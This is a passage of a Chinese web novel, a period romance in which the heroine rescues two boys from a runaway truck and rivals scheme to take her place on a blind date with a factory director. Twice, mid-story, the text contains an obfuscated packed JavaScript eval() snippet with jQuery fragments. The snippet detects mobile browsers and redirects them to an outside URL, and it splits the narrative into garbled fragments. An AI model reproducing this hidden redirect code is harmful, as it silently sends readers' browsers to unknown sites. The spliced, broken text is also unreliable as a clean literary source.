在场的众人面面相觑。
“……”
她一句话给大家伙都干沉默了。
可她总不能说自己是华国京市第一美院毕业的吧,那多不符合自己现在乡下俏丽小寡妇的身份啊。
人设是万万不能崩的。
“我学历并不高。”
沈晚月声音清亮,大方不怯场的慢慢开了口:“但我从小对设计感兴趣,看了不少这方面的书,算是自学。”
“嘶……”
除了牛主任,他身边跟着的一位女同志看过设计稿后也忍不住发出了诧异赞叹的声音。
“真是了不起。”
“就是啊,有能力不就行了,英雄不问出处!”
“太了不起了!”牛主任放光芒的双眼此刻更加热情,“看,这就是我们当代有志气的年轻人!他们才是我们的未来!我们需要更多这样有热情、有抱负的同志加入我们!”
只是想混口饭的沈晚月又沉默了。
她乖巧的站在旁边,安静的配合着牛主任,同时尽量让自己保持微笑,来都来了,不能给当代大学生丢人不是。
只是招工并没有这么简单,如果想当国企工厂的正式员工还得层层审批,最后这位牛主任留了沈晚月的联系方式,说等所有简历都审阅完了,再通知她后续能不能入职。
那边采访也结束了,摄像机面前热血沸腾的牛主任终于松弛下来,端着茶壶‘咕咚咚’灌了两口水,招呼沈晚月过去。
“小同志你不是本地人吧,你放心,你的能力出众,到时候就算是临时工也能给你安排上的,放心回去吧。”
“谢谢牛主任。”
等人一走,沈晚月这才松了口气,看来,至少是能混口饭吃了。
这口饭能混成多大的碗,沈晚月也不确定,不过只要有机会进厂,未来就有发展空间。
沈晚月本就知道这年头找工作难,让顾家帮忙,也是想碰碰运气,后来虽然改成了结婚,但她不想把鸡蛋都放在一个篮子里,工作方面也一直在找机会。
更何况,从前在现代她是一个人吃饱足够,而现在,她既然决定了带着两个孩子,就得对两个宝宝负责任才行。
她是个吃不了苦的人,所以选择了动笔的行业,当然,她也不想让孩子吃苦,所以必须得做两手准备。
不知不觉,太阳已经升起来了老高,温度也逐渐热起来。
已经出门三个小时了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14814743|158663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈晚月算着时间,准备往回赶公交车。
“叮叮叮叮叮叮……”
“喂你干什么,快点开到旁边去啊……”
“呜呜呜呜呜救,爸爸救命……”
沈晚月所处的公交车站台前,突然从拐角处蹿出来一辆自行车。
这自行车是一个年纪稍大的男孩儿在骑,后面还坐着一个年纪相仿的男孩儿,再后面,跟着一个小跑出来的五六岁的小孩子。
工厂前的路为了要通货车,所以非常的宽阔,平日里没人还好,这年头车少,这宽度本来是足够的。
可前提是如果没有意外的话。
迎面来的货车根本没有料到工厂旁边的拐角巷子里,会忽然这么冲出来一辆自行车,因为是拐角,有视野盲区,旁边又是平淞河,货车根本来不及打转向。
如果强行转向,货车会冲破平淞河的围栏,可尽管如此,依照货车的长度,还是会碰撞到自行车。
“完了。”
千钧一发之际,沈晚月几乎没有反应的时间,她本能一样的朝着自行车俯冲而去。
在货车司机疯狂打方向盘,货车转向的那一刻,沈晚月用尽全力将自行车撞到在了旁边。
两个自行车上少年跟沈晚月一起摔到在地上,后面跟着的小男孩也被前面的少年砸到了腿,摔到在地上哭起来。
‘轰隆——’
一声巨响。
再回头,货车已经撞断了平淞河的花岗岩围栏。
连车带货,直接冲进了平淞河。
这样巨大的力度,哪怕刚才司机为了保住自行车,已经强行转了向,若是自行车没停下来一定会被砸到,两个男孩恐怕连命都保不住!
“老天爷!地震了是?”
“快快快,报警啊!快啊!出事了!”
“呜呜呜呜爸爸呜呜呜呜……”
“……”
周围声音逐渐杂乱,沈晚月惊魂未定。
她被自行车砸到身上,整个人身上都是疼的,脑子也嗡嗡响,如果不是太阳晃得眼睛痛,她都可能要直接昏过去了。
“卧槽!”
陈胜利采访完刚做完总结,本想着出来看看能不能追上自己的未来大嫂,没成想刚回过头就听见了这声巨响,等小跑着过来的时候,就看见未来大嫂跟自家两个哭的稀里哗啦的侄子都摔倒在地上。
“胜利叔呜呜呜呜……”
陈松柏早就吓的面如土色,终于看到熟悉的人,哭着便扑了上去。
他旁边的少年因为在后座坐着,没什么大伤,愣愣的坐在地上,还没反应过来怎么回事儿。
再后面,是吓得尿了裤子的陈文星,六岁的小孩子这会儿哭的上气不接下气,手上好像还受了伤。
“陈!松!柏!”
陈胜利只看了一眼,火气便冒了上来,伸出胳膊不留情面的扇了过去。
“别哭了!给我滚到旁边等着去!”
十四岁的陈松柏捂着脸,他疼的厉害,却被吓得不敢再哭,张着嘴掉着眼泪蹲到了旁边。
货车司机那边早有人冲过去帮忙救人。
陈胜利皱着眉将自行车先从沈晚月腿上挪开,嘴里慌乱的喊着大嫂。
晕晕乎乎的沈晚月眼前终于有了点颜色,可仍是没回神:“……大嫂?什么大嫂?我又穿越了?”
她可是很惜命的,刚才打量了距离应该最多撞点皮外伤,难道说摔倒的时候磕着脑袋,所以才又把灵魂给撞到另一个世界去了不成……
那老天保佑,自己都做好事了,这次换个条件好点的背景行不行?
沈晚月昏迷过去之前,除了这句话以外,还心痛的想起了家里还有两个嗷嗷待哺的崽子该怎么办。
14. 第 14 章
筒子楼。
“嫂子你是说,可能这个姓陈的领导,大概率是席巧兰婆家的人?”
“昨晚上你哥回来跟我一说我才想起来,席巧兰的男人不就是姓陈。”顾清华给小姑子洗了个苹果递过去。
孙家拢共一男一女两个孩子,孙铁柱跟孙父孙母都及其疼爱孙燕这个妹妹,当年想尽办法,把孙燕送到了工农兵大学念书,现在毕业了,还出钱给她疏通了学校老师的岗位。
现在要相亲,小姑子心气高,回来让孙铁柱帮着一起查了查这个所谓姓陈的男同志。
其实并不难猜,毕竟席巧兰男人也姓陈。
“燕子,说不定啊,你这回真是要攀上高枝儿了。”顾清华讨好的说:“你想想,陈家高门大户,陈老爷子就不用说了是退下来的老司令,除了他以外,陈家哪个男人不是有头有脸的。”
孙燕哼了一声,“我这么优秀,配个高点的人家也正常,那这个领导到底是陈家的谁啊?”
“让你猜你都不敢猜,你哥说,八成就是第四炼钢厂的陈厂长!”
“炼钢厂?!”
孙燕自己都吸了口气,惊得苹果都掉在了地上。
这可是沪市第四炼钢厂,那生意可是做到全国的,同样是厂长,职位评级要高别的厂长一头!
“吓着了吧,我也是吓了一跳,没想到找到了个这么个大领导来,不过嘛……”
顾清华笑了笑,解释说:“你哥也说了,他家庭条件是好,可年纪也不小了,三十岁还带了两个孩子,你一个年轻小姑娘,要是不愿意就给推了。”
“谁说我不愿意?!”孙燕回过神,忍不住的笑了起来。
一想到以后自己能做厂长夫人,别说两个孩子了,二十个她也不在意,反正陈家有钱,有孩子怕什么?请个阿姨也用不着她来管,只要能攀上高枝儿……
“可是他的性情,你哥说也不是什么好相处的,下面人都传他是冷面阎罗王,而且据说他之所以不结婚,是因为挂念死去的前妻,前妻死后,他脾气更差了,听说对女同志从来没有好脸色,说不定……说不定还有可能会打人。”
顾清华将丈夫的话事无巨细全传达到位,让她这个小姑子自己做决定,省的将来出了什么意外,赖到她这个大嫂头上。
孙燕想了想,坚决的抬起头:“那可是炼钢厂的厂长啊,听说这种领导住的都是单独的洋房,这筒子楼我住了二十年,我想要出去,就不会在意这些,只要他答应结婚,什么条件我都不在乎的。”
顾清华清楚小姑子心气高,也没有再劝,转而说了几句恭喜的话,把她哄得眉开眼笑。
“说起来,席组长那边怎么还没给消息,要不麻烦嫂子你打电话问问?”
孙燕向来没这么客气,可如今一想到嫂子给自己找了这么好一门亲事,免不了全是好脸色。
孙家住的筒子楼离街道办有些距离,顾清华找了个电话亭给那边打了过去。
“诶哟瞧我这个记性!”
电话那边,席巧云猛拍了一下脑袋,她就想着今天要陪陈勋庭去相亲,结果把孙燕的事儿给忘了。
席巧云解释完了以后,电话那边一阵窸窣声,随后,孙燕的声音响了起来。
“什么?没成?为什么?”
席巧云:“男方那边不同意,孙燕同志,这几天另外还有条件不错的男同志,你要是还想从我这儿找,回头再来一趟,还有些有照片的,可以让你看看。”
“我不同意!”孙燕气的脸都绿了:“明明说好了的,怎么就没成呢?你得给我说明白!”
她连以后别人怎么喊她厂长夫人的画面都想好了,结果没成,这不是成心气她的吗?!
席巧云闻言皱了眉:“孙燕同志,现在是新时代了,就算是相亲,也是要两厢情愿才行,我也就是个中间人,人家男方说了不行,咱也不能逼着人家点头吧,你这话说的有点过分了,事前我可并没有保证过一定可以见面。”
孙燕眼眶红了:“那,那总要有个不成的原因吧。”
没看上呗,顾清华在旁边默默想。
可这话顾清华不能直说,只能抱着胳膊在旁边听热闹。
“原因就是人家觉得你跟他不合适,还有问题吗?”
“……没,没了。”
厂长夫人的梦破灭,孙燕挂了电话后,刚才的喜悦全部消失,消沉的在旁边流眼泪。
顾清华安慰了几句,忽然又想起来沈晚月也要相亲,正要再拨回去,想了想席巧云刚才大概是生了孙燕的气,转而拨到了招待所。
“相亲时间定下来了吧?”顾清华张口就直接问。
沈建国那边应了一声,“定了,在今天。”
“哟,这么快啊,那等见完面,婚事定下来以后,咱们约定的那份保证书……你们可别忘了给我写。”
沈建国:“没忘,等我妹的婚事订了,我们也能安心回家去,到时候跟你们不会再有联系了。”
“一准能定下来,钟强那家庭条件就缺个女人,只要你妹子答应,他那儿肯定不会有问题。”
沈建国闻言皱了皱眉。
问题是,相亲对象根本不是钟强,而是那个大领导陈勋庭。
人家那样的家庭,也不知道是真是假,万一不成了,还得指着顾家给找对象。
沈建国想了想以后,犹豫着说:“不是钟强,你那边的媒人跟我们联系,说是换了个姓陈的……”
“哥!”
沈立民在旁一边带孩子一边听着,闻言连忙扯住了沈建国的胳膊,给他使眼色别说那么多。
顾家可不盼着沈晚月的好,真有好的对象,怎么可能给自己姐说合。
沈建国心里一惊,也反应了过来。
这顾家上次来就没把话说全,还是得防着他们一点才行。
“姓陈?”顾清华已经听见了,心里同样一惊,吓得连忙追问:“陈什么?是干什么的?”
沈建国还没开口,沈立民已经将电话抢了过去,“……叫什么陈小牛吧好像,也是厂里工作的,还带了孩子,条件都差不多,也不知道能不能成,要是成了,我们再通知你哈。”
说完,沈立民挂断了电话。
顾清华愣在原地,心里泛起了嘀咕。
不可能吧?
不可能这么巧,而且陈厂长这样的大领导,怎么可能看上乡下来的沈晚月?
顾清华脑海中浮现出沈晚月那张勾人的脸蛋。
狐狸精!
她咒骂了一句,虽然不想承认,可又觉得凭借沈晚月那张脸也不是不可能。
毕竟自家弟弟这样优秀,当初不也是被这个小狐狸精给勾了魂!
那陈厂长也是男人,要是真见过沈晚月,怎么可能看得上孙燕这种平平无奇的长相。
“嫂子你刚说啥,什么陈?”孙燕回过神,抹了抹眼泪问。
顾清华脑子这会儿跟浆糊一样。
不过她却有一点想得很明白。
如果这个人真是陈厂长,那便宜了孙燕,也不能便宜了沈晚月这个小狐狸精。
顾清华转了转眼珠子,抓住了小姑子的手,“燕子,嫂子帮你冒次险,你要是将来真的嫁给了厂长,可别忘了嫂子的情义。”
“……啊?咋了?”
顾清华将自己的怀疑说了一遍,谁知道孙燕反而还生了气。
孙燕:“你表妹重要还是我重要?!那天要不是你非得把她的资料也报上去,说不定陈厂长已经准备跟我见面了!”
顾清华叹了口气:“这不是也是猜测吗,我再给那边打个电话问问……算了,咱俩还是去一趟街道办。”
心里装着事儿,走的也快,没一会儿俩人就到了街道办。
“来了。”席巧云打量了一眼孙燕,脸色不善,“这次又是为了你小姑子吧。”
“巧云姐。”
顾清华摇摇头:“我是为着我表妹来的,我表妹说……咳咳,我表妹说你第二次介绍的这个陈同志她不想见了。”
席巧云一怔,直接站了起来:“为什么?!不是已经说好了今天下午就见面的吗,我侄……男方都把工作推迟了等着见面,怎么说不同意就不同意了?”
顾清华擦了擦汗,陪着笑:“我表妹的说她自己是小地方来的,怕男方条件太好了看不上她,还不如见一开始的钟强呢,她年纪小不懂事儿,我来替表妹跟姐你道个歉。”
“……”
席巧云心情立刻降到了谷底。
家里为了陈勋庭相亲的事儿都十分高兴,谁知道临到头了,人家又不同意了。
席巧云着急的问:“能不能再跟你表妹说说,这男方条件虽然好,可人家是真心实意想见个面,这见个面也没什么,就当是去吃顿饭了呗。”
看席巧云承认了男方条件好,顾清华心里有了盘算。
来之前的路上,她就跟孙燕商量好了。
不管这个姓陈的陈小牛到底是不是陈厂长,就算是碰运气,也得让席巧云答应让孙燕代替沈晚月去见见面。
到时候如果真是陈厂长就皆大欢喜,如果不是,孙燕回来说没看上就行了,也不吃亏。
顾清华将孙燕推到前面:“我表妹性子倔,说不行就没商量了,巧云姐,你看这样行不行,我小姑子也没啥事儿,你要是不好跟男方交代,就让我小姑子代替沈晚月去见面。”
“这……这不合适吧。”
“合适,怎么不合适了,我看说不定还能凑合一段姻缘呢。”
“……”
席巧云沉默的打量着眼前的孙燕,好半天没说出话来。
-
“中午之前肯定能赶回家,厂长您放心。”
“小心开你的车。”
“诶!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14814744|158663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
省道上,一辆低调的黑色轿车慢慢加快了行驶速度。
小王也是才知道厂长竟然要去相亲的事情,他是打心底里为厂长高兴。
别看厂长前几天刚罚了他抄书,可他知道,厂长这也是为了自己好,厂长都三十岁了,心里只有工作,这要是找个媳妇儿,也能让厂长每天别那么紧绷。
这短短一个多月的相处,小王是真觉得厂长辛苦。
陈勋庭则没有小王那么着急。
去苏市出差不是临时决定的,他来前算好了时间,绝对可以赶上……跟沈晚月的相亲。
果然,在一点左右,轿车稳稳的停在了彩灯巷街道办。
当时电话里说好的,得先接上他二婶儿席巧云一块过去。
陈勋庭一进门就看见席巧云脸色很差的叹气,问清楚以后,反问了回去:“换相亲对象是什么意思?”
席巧云试着劝他:“我知道你没看上这个孙燕,可男女相处需要的是了解,你可以试着了解一下,说不定……”
“二婶儿。”陈勋庭态度很认真:“我说的是答应跟沈晚月同志相亲。”
“……我知道勋庭,但这不是有意外,唉,这女同志真是的,临时改主意,大家都弄得措手不及。”
席巧云说着说着,回过味儿来。
陈勋庭的意思,应该是他答应的不是相亲,而是答应的跟沈晚月同志的相亲。
也就是说,别的人他不会考虑。
正如席巧云所想,陈勋庭已经抬脚准备离开了:“她也许是有别的打算,既然这样,相亲的事儿就到此为止吧。”
“等等勋庭,你再考虑考虑,你想想前几天家里为你这事儿都高兴的不得了,你好歹往前迈一步,总不能一直不结婚让家里……”
“二婶儿。”
陈勋庭打断了席巧云的话,语气淡淡,眼神里带着几分不悦。
他不高兴了。
因为席巧云过分的越界才不高兴,绝不是因为……沈晚月的失约。
这次相亲本就是他一时兴起,并非强求。
如今失约,他也正好省去一事,免得还要推掉一下午的工作时间,现在回去,正好还能赶上给厂里开学习大会。
能多工作半天,正合他意。
就到此为止也好。
陈勋庭:“催我结婚是你们的事情,结不结是我的选择,爷爷奶奶那边我会去说,这些麻烦二婶儿了。”
言罢,陈勋庭便转过身,挺拔的脊背像是一面山峰,硬/直且看起来毫无趣味。
瞧着就是一副无欲无求,一辈子单身的状态。
席巧云被他那一眼看得心里发冷,回过神后,唉声叹气的点了头。
“唉,我知道了,早知道今天沈晚月同志那个表姐过来的时候,就直接拒绝她了。”
“……”
走到门口的陈勋庭脚下顿住。
“表姐?”
席巧云嗯了一声,“就沈晚月同志的亲戚,顾家的人,她来跟我说的这事儿。”
陈勋庭很快想到了什么,带着寒意的目光落在电话上。
“麻烦二婶儿打去招待所再确认一下,顾家人的话不可信。”
说完,陈勋庭跟席巧云都愣了半秒。
陈勋庭……他还真是用了心。
他是真的想接受跟沈晚月的相亲,不然怎么会席巧云都忽略的地方,让她再去确认一遍呢。
陈勋庭自己则很快想明白了。
他不想因为外力,做一个失约的人。
万一真是顾家人信口胡诌,那到时候沈晚月不是要自己一个人在茶楼等上一个下午?
他可以拒绝相亲,但并不想失约。
“你这么一说我觉得还真有可能不对劲儿,我都差点忘了,上次电话里,沈家的人不就说顾家的人说话没说全吗,我现在打过去再确认一下。”
很快,电话拨过去。
一阵忙音后,接的人是招待所的老板。
“203是吗?203好像出去了,这会儿不在。”
席巧云:“……”
陈勋庭听完,皱了皱眉后,准备说还是算了。
两个人相遇本就是那一点微不足道的缘分,如今没了缘分,连打个电话都这么困难。
还是工作靠谱点。
可惜,工作狂魔陈厂长的话还没说出来,电话便奇迹一样又响了。
“喂?云姨吗?我是胜利啊,我堂哥在不在,让他接个电话。”
“喂,是大哥吧,我就知道你在街道办,哥,你猜我现在跟谁在一起?”
陈勋庭眉头跳动了一下,忍着骂人的冲动,压下脾气:“你说。”
陈胜利的语气中带着抑不住的兴奋:“你肯定猜不到!我跟嫂子在一起呢!”
陈勋庭:“……”
陈勋庭:“?”